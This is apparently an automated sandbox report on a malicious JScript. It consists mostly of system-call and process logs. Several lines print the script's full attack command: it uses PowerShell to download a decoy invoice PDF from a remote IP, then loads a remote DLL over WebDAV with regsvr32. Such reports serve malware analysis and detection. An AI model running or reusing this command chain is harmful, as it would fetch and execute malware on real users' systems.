Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9911.js.csv");ITextStream.WriteLine(" entry:8533 f:gujsdkcfu");ITextStream.WriteLine(" exec:2 f:gujsdkcfu");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4752			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4996			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep count: 4752 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep count: 4996 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7456	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8108	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6488	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000C.00000002.1322263364.00000179712CD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2545570412.000002611D458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2544271148.0000026117C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000C.00000002.1322263364.0000017971268000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
